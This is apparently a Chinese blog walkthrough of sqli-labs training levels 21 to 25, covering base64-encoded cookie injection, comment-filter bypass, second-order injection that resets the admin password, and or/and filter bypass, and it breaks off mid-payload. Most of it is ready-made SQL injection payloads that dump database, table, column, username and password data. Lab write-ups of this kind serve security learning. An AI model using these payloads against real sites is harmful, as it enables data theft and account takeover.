sqli-labs 21——40关攻略

Less-21 基于错误的复杂的字符型Cookie注入

base64编码,单引号,报错型,cookie型注入。

本关和less-20相似,只是cookie的uname值经过base64编码了。
登录后页面:
在这里插入图片描述
圈出来的地方显然是base64加密过的,解码得到:admin,就是刚才登陆的uname,所以猜测:本题在cookie处加密了字符串,

查看php文件确实如此,所以只需要上传paylaod的时候base64加密一下就可以了。
先抓包看一下:
在这里插入图片描述
看到cookie是YWRtaW4%3D ,和页面显示不一样,但是明显%3D 是=号urldecode的结果,接下来构造paylaod进行测试

admin' and 1=1 --+    //明文
YWRtaW4nIGFuZCAxPTEgLS0r    //密文

在这里插入图片描述
看到红圈处的提示,所以应该构造 ') 这种的

这里就不演示爆行数了,上一题已经做过了。

经过我多次测试,–+在此处不好用,需要使用#来注释。
示例爆库paylaod:

-admin') union select 1,2,database()#
LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMixkYXRhYmFzZSgpIw==

接下来只需要修改第三条查询语句,和less-20一样(注意用#注释,而不用–+),只要base64加密后写入cookie,就可以完成注入。

Less-22 基于错误的双引号字符型Cookie注入

base64编码,双引号,报错型,cookie型注入。

和less-21一样的,只需要使用双引号代替单引号再取掉括号

样例payload:

-admin" union select 1,2,database()#
LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLGRhdGFiYXNlKCkj

注入完成。

Less-23 基于错误的,过滤注释的GET型

观察PHP代码,看到替换了能用的注释符,所以我们构造闭合语句:

爆库

?id=' union select 1,2,database() '

爆表

?id=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() or '1'= '

爆列名

?id=' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' or '1'= '

爆值

?id=' union select 1,group_concat(username),group_concat(password) from users where 1 or '1' = '

注入完成。

Less - 24 二次注入

1.注册一个admin’#的账号。
在这里插入图片描述
2.登录admin’#该,修改该帐号的密码,此时修改的就是admin的密码,我修改为123456。

Sql语句变为UPDATE users SET passwd=“New_Pass” WHERE username =’ admin’ # ’ AND password=’

也就是执行了UPDATE users SET passwd=“New_Pass” WHERE username =’ admin’
在这里插入图片描述
成功的话跳转页面会提示Password successfully updated

3.用刚修改的密码我的是123456,登陆admin管理员账号,就可以成功登陆。
在这里插入图片描述
注入成功。

Less-25 过滤了or和and

测试一下

payload
?id=1' #
 
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in F:\WhiteFlie\PhpStudy20180211\PHPTutorial\WWW\sqli-labs\Less-25\index.php on line 37
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1
 
 
payload
?id=1' --+
 
Your Login name:Dumb
Your Password:Dumb

看到id周围全是单引号,

但是第二种payload没有报错,可以注入。

方法一,–+绕过,一般注入。

样例

?id=-1' union select 1,2,database()--+

有必要说一下这题在爆值的时候对password进行了处理,查询password列,回显no column passwd,所以双写or绕过

同理information也是。

样例

?id=-1' union select 1,2,group_concat(username,0x7e,passwoorrd) from users--+

方法二,双写or或and绕过

测试

?id=0' o
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值